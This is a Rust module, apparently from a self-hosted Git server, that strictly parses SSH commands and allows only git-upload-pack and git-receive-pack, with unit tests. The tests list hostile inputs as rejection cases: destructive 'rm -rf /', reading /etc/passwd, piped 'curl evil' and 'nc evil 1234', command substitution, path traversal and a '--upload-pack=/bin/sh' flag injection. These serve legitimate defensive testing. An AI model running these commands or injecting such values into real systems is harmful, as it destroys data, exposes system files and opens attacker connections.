| 1 | //! Parsing the requested SSH command (spec §6, §9). | |
| 2 | //! | |
| 3 | //! > `dogfood-ssh` … dispatches only `git-upload-pack` and `git-receive-pack`. | |
| 4 | //! > No shell, no port forwarding, no agent forwarding, no PTY, no SFTP, no exec | |
| 5 | //! > of anything else. Parse the requested command strictly and reject anything | |
| 6 | //! > unrecognized. | |
| 7 | //! | |
| 8 | //! This is the module that decides what a connected key is allowed to run, so | |
| 9 | //! it is pure, strict, and heavily tested. | |
| 10 | ||
| 11 | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 12 | pub enum Service { | |
| 13 | UploadPack, | |
| 14 | ReceivePack, | |
| 15 | } | |
| 16 | ||
| 17 | impl Service { | |
| 18 | pub fn git_subcommand(self) -> &'static str { | |
| 19 | match self { | |
| 20 | Service::UploadPack => "upload-pack", | |
| 21 | Service::ReceivePack => "receive-pack", | |
| 22 | } | |
| 23 | } | |
| 24 | ||
| 25 | /// Whether running this service modifies the repository. | |
| 26 | pub fn is_write(self) -> bool { | |
| 27 | matches!(self, Service::ReceivePack) | |
| 28 | } | |
| 29 | } | |
| 30 | ||
| 31 | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 32 | pub struct Request { | |
| 33 | pub service: Service, | |
| 34 | pub owner: String, | |
| 35 | pub repo: String, | |
| 36 | } | |
| 37 | ||
| 38 | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 39 | pub enum ExecError { | |
| 40 | /// Not one of the two permitted commands. | |
| 41 | UnsupportedCommand, | |
| 42 | /// The path was not `owner/repo`. | |
| 43 | BadPath, | |
| 44 | Malformed, | |
| 45 | } | |
| 46 | ||
| 47 | impl std::fmt::Display for ExecError { | |
| 48 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 49 | match self { | |
| 50 | ExecError::UnsupportedCommand => write!( | |
| 51 | f, | |
| 52 | "Dogfood accepts only `git-upload-pack` and `git-receive-pack` over SSH." | |
| 53 | ), | |
| 54 | ExecError::BadPath => write!(f, "Expected a path of the form 'owner/repo'."), | |
| 55 | ExecError::Malformed => write!(f, "Could not parse the requested command."), | |
| 56 | } | |
| 57 | } | |
| 58 | } | |
| 59 | ||
| 60 | /// Parse an SSH exec request. | |
| 61 | /// | |
| 62 | /// Git sends, for example: `git-upload-pack 'owner/repo.git'`. | |
| 63 | /// The quoting varies between clients, so both quoted and bare forms are | |
| 64 | /// accepted — but nothing else is. There is deliberately no shell involved: | |
| 65 | /// the string is split on whitespace and the pieces are matched literally, so | |
| 66 | /// metacharacters carry no meaning. | |
| 67 | pub fn parse(command: &str) -> Result<Request, ExecError> { | |
| 68 | // Guard against absurd input before doing any work. | |
| 69 | if command.is_empty() || command.len() > 4096 { | |
| 70 | return Err(ExecError::Malformed); | |
| 71 | } | |
| 72 | // A control character has no place in a command and is a strong signal of | |
| 73 | // an injection attempt. | |
| 74 | if command.bytes().any(|b| b < 0x20 || b == 0x7f) { | |
| 75 | return Err(ExecError::Malformed); | |
| 76 | } | |
| 77 | ||
| 78 | let trimmed = command.trim(); | |
| 79 | let (verb, rest) = match trimmed.split_once(char::is_whitespace) { | |
| 80 | Some((v, r)) => (v, r.trim()), | |
| 81 | None => return Err(ExecError::UnsupportedCommand), | |
| 82 | }; | |
| 83 | ||
| 84 | // Exactly two commands. `git upload-pack` (space form) is also accepted | |
| 85 | // because some clients send it, but nothing else — in particular not | |
| 86 | // `git-upload-pack-with-anything`, and not a shell pipeline. | |
| 87 | let (service, rest) = match verb { | |
| 88 | "git-upload-pack" => (Service::UploadPack, rest), | |
| 89 | "git-receive-pack" => (Service::ReceivePack, rest), | |
| 90 | "git" => { | |
| 91 | let (sub, r) = rest.split_once(char::is_whitespace).ok_or(ExecError::Malformed)?; | |
| 92 | match sub { | |
| 93 | "upload-pack" => (Service::UploadPack, r.trim()), | |
| 94 | "receive-pack" => (Service::ReceivePack, r.trim()), | |
| 95 | _ => return Err(ExecError::UnsupportedCommand), | |
| 96 | } | |
| 97 | } | |
| 98 | _ => return Err(ExecError::UnsupportedCommand), | |
| 99 | }; | |
| 100 | ||
| 101 | // Only one argument is permitted: the repository path. More than one means | |
| 102 | // the client is trying to pass flags. | |
| 103 | if rest.split_whitespace().count() != 1 { | |
| 104 | return Err(ExecError::Malformed); | |
| 105 | } | |
| 106 | ||
| 107 | let path = unquote(rest); | |
| 108 | let (owner, repo) = split_path(&path)?; | |
| 109 | ||
| 110 | Ok(Request { | |
| 111 | service, | |
| 112 | owner, | |
| 113 | repo, | |
| 114 | }) | |
| 115 | } | |
| 116 | ||
| 117 | fn unquote(s: &str) -> String { | |
| 118 | let s = s.trim(); | |
| 119 | for q in ['\'', '"'] { | |
| 120 | if s.len() >= 2 && s.starts_with(q) && s.ends_with(q) { | |
| 121 | return s[1..s.len() - 1].to_string(); | |
| 122 | } | |
| 123 | } | |
| 124 | s.to_string() | |
| 125 | } | |
| 126 | ||
| 127 | /// Split `owner/repo(.git)` into its parts, rejecting anything else. | |
| 128 | /// | |
| 129 | /// Traversal is impossible by construction: exactly two components are allowed | |
| 130 | /// and neither may contain a slash or a dot-dot. | |
| 131 | fn split_path(path: &str) -> Result<(String, String), ExecError> { | |
| 132 | let path = path.trim_start_matches('/').trim_end_matches('/'); | |
| 133 | let path = path.strip_suffix(".git").unwrap_or(path); | |
| 134 | ||
| 135 | let mut parts = path.split('/'); | |
| 136 | let (Some(owner), Some(repo), None) = (parts.next(), parts.next(), parts.next()) else { | |
| 137 | return Err(ExecError::BadPath); | |
| 138 | }; | |
| 139 | ||
| 140 | if owner.is_empty() || repo.is_empty() { | |
| 141 | return Err(ExecError::BadPath); | |
| 142 | } | |
| 143 | // Belt and braces — a component cannot contain a slash here, but `..` as a | |
| 144 | // whole component would still be a traversal attempt worth naming. | |
| 145 | if owner.contains("..") || repo.contains("..") { | |
| 146 | return Err(ExecError::BadPath); | |
| 147 | } | |
| 148 | if !owner.chars().all(valid_owner_char) || !repo.chars().all(valid_repo_char) { | |
| 149 | return Err(ExecError::BadPath); | |
| 150 | } | |
| 151 | ||
| 152 | Ok((owner.to_string(), repo.to_string())) | |
| 153 | } | |
| 154 | ||
| 155 | fn valid_owner_char(c: char) -> bool { | |
| 156 | c.is_ascii_alphanumeric() || c == '-' | |
| 157 | } | |
| 158 | ||
| 159 | fn valid_repo_char(c: char) -> bool { | |
| 160 | c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-') | |
| 161 | } | |
| 162 | ||
| 163 | #[cfg(test)] | |
| 164 | mod tests { | |
| 165 | use super::*; | |
| 166 | ||
| 167 | fn req(service: Service, owner: &str, repo: &str) -> Request { | |
| 168 | Request { | |
| 169 | service, | |
| 170 | owner: owner.into(), | |
| 171 | repo: repo.into(), | |
| 172 | } | |
| 173 | } | |
| 174 | ||
| 175 | #[test] | |
| 176 | fn parses_the_standard_forms() { | |
| 177 | assert_eq!( | |
| 178 | parse("git-upload-pack 'snow/core.git'").unwrap(), | |
| 179 | req(Service::UploadPack, "snow", "core") | |
| 180 | ); | |
| 181 | assert_eq!( | |
| 182 | parse("git-receive-pack 'snow/core.git'").unwrap(), | |
| 183 | req(Service::ReceivePack, "snow", "core") | |
| 184 | ); | |
| 185 | // Unquoted, no .git, leading slash — all seen from real clients. | |
| 186 | assert_eq!( | |
| 187 | parse("git-upload-pack /snow/core").unwrap(), | |
| 188 | req(Service::UploadPack, "snow", "core") | |
| 189 | ); | |
| 190 | assert_eq!( | |
| 191 | parse("git-upload-pack \"snow/core.git\"").unwrap(), | |
| 192 | req(Service::UploadPack, "snow", "core") | |
| 193 | ); | |
| 194 | assert_eq!( | |
| 195 | parse("git upload-pack 'snow/core.git'").unwrap(), | |
| 196 | req(Service::UploadPack, "snow", "core") | |
| 197 | ); | |
| 198 | } | |
| 199 | ||
| 200 | // ─── everything else is refused (spec §9) ──────────────────────────────── | |
| 201 | ||
| 202 | #[test] | |
| 203 | fn refuses_any_other_command() { | |
| 204 | for bad in [ | |
| 205 | "bash", | |
| 206 | "sh -c 'rm -rf /'", | |
| 207 | "scp -t /tmp", | |
| 208 | "rsync --server", | |
| 209 | "git-upload-archive 'a/b'", | |
| 210 | "git gc", | |
| 211 | "git-upload-packX 'a/b'", | |
| 212 | "/usr/bin/git-upload-pack 'a/b'", | |
| 213 | "env", | |
| 214 | "cat /etc/passwd", | |
| 215 | ] { | |
| 216 | assert!( | |
| 217 | matches!( | |
| 218 | parse(bad), | |
| 219 | Err(ExecError::UnsupportedCommand) | Err(ExecError::Malformed) | |
| 220 | ), | |
| 221 | "must refuse {bad:?}, got {:?}", | |
| 222 | parse(bad) | |
| 223 | ); | |
| 224 | } | |
| 225 | } | |
| 226 | ||
| 227 | #[test] | |
| 228 | fn shell_metacharacters_carry_no_meaning() { | |
| 229 | // There is no shell, so these are simply invalid paths — never executed. | |
| 230 | for bad in [ | |
| 231 | "git-upload-pack 'a/b; rm -rf /'", | |
| 232 | "git-upload-pack 'a/b && curl evil'", | |
| 233 | "git-upload-pack 'a/b|nc evil 1234'", | |
| 234 | "git-upload-pack '$(whoami)/x'", | |
| 235 | "git-upload-pack '`id`/x'", | |
| 236 | ] { | |
| 237 | assert!(parse(bad).is_err(), "must refuse {bad:?}"); | |
| 238 | } | |
| 239 | } | |
| 240 | ||
| 241 | #[test] | |
| 242 | fn refuses_path_traversal() { | |
| 243 | for bad in [ | |
| 244 | "git-upload-pack '../../etc/passwd'", | |
| 245 | "git-upload-pack 'a/../../b'", | |
| 246 | "git-upload-pack 'a/b/c'", | |
| 247 | "git-upload-pack 'onlyone'", | |
| 248 | "git-upload-pack '..'", | |
| 249 | "git-upload-pack '/'", | |
| 250 | ] { | |
| 251 | assert!( | |
| 252 | matches!(parse(bad), Err(ExecError::BadPath) | Err(ExecError::Malformed)), | |
| 253 | "must refuse {bad:?}, got {:?}", | |
| 254 | parse(bad) | |
| 255 | ); | |
| 256 | } | |
| 257 | } | |
| 258 | ||
| 259 | /// An absolute path is the ordinary wire form, not an attack. | |
| 260 | /// | |
| 261 | /// `ssh://git@host/owner/repo.git` makes Git send `'/owner/repo.git'`, so | |
| 262 | /// the leading slash has to be accepted. That means | |
| 263 | /// `git-upload-pack '/etc/passwd'` parses — as owner `etc`, repo `passwd`, | |
| 264 | /// which is a *name*, not a path. | |
| 265 | /// | |
| 266 | /// Nothing is disclosed by that, and it is worth being precise about why: | |
| 267 | /// storage location derives from the repository's UUID and never from these | |
| 268 | /// strings (spec §3, §9), so a parsed name that matches no row resolves to | |
| 269 | /// no repository at all. The two components can never become a filesystem | |
| 270 | /// path, whatever they say. | |
| 271 | #[test] | |
| 272 | fn an_absolute_path_is_the_normal_wire_form_not_traversal() { | |
| 273 | assert_eq!( | |
| 274 | parse("git-upload-pack '/alice/dogfood.git'").unwrap(), | |
| 275 | req(Service::UploadPack, "alice", "dogfood") | |
| 276 | ); | |
| 277 | assert_eq!( | |
| 278 | parse("git-upload-pack '/etc/passwd'").unwrap(), | |
| 279 | req(Service::UploadPack, "etc", "passwd"), | |
| 280 | "parsed as two names; resolution against the database is what denies it" | |
| 281 | ); | |
| 282 | } | |
| 283 | ||
| 284 | #[test] | |
| 285 | fn refuses_extra_arguments() { | |
| 286 | // Otherwise a client could pass flags to git. | |
| 287 | assert!(parse("git-upload-pack --upload-pack=/bin/sh 'a/b'").is_err()); | |
| 288 | assert!(parse("git-upload-pack 'a/b' 'c/d'").is_err()); | |
| 289 | assert!(parse("git-upload-pack --help").is_err()); | |
| 290 | } | |
| 291 | ||
| 292 | #[test] | |
| 293 | fn refuses_control_characters() { | |
| 294 | assert_eq!( | |
| 295 | parse("git-upload-pack 'a/b'\nrm -rf /"), | |
| 296 | Err(ExecError::Malformed) | |
| 297 | ); | |
| 298 | assert_eq!(parse("git-upload-pack 'a\0b'"), Err(ExecError::Malformed)); | |
| 299 | } | |
| 300 | ||
| 301 | #[test] | |
| 302 | fn refuses_empty_and_overlong() { | |
| 303 | assert_eq!(parse(""), Err(ExecError::Malformed)); | |
| 304 | assert_eq!(parse("git-upload-pack"), Err(ExecError::UnsupportedCommand)); | |
| 305 | assert_eq!(parse(&"a".repeat(5000)), Err(ExecError::Malformed)); | |
| 306 | } | |
| 307 | ||
| 308 | #[test] | |
| 309 | fn write_classification_is_correct() { | |
| 310 | assert!(!Service::UploadPack.is_write()); | |
| 311 | assert!(Service::ReceivePack.is_write()); | |
| 312 | } | |
| 313 | ||
| 314 | #[test] | |
| 315 | fn a_repo_named_with_dot_git_inside_is_preserved() { | |
| 316 | // Only a trailing `.git` is stripped. | |
| 317 | assert_eq!( | |
| 318 | parse("git-upload-pack 'snow/my.git.repo'").unwrap().repo, | |
| 319 | "my.git.repo" | |
| 320 | ); | |
| 321 | } | |
| 322 | } |
322 lines · Rust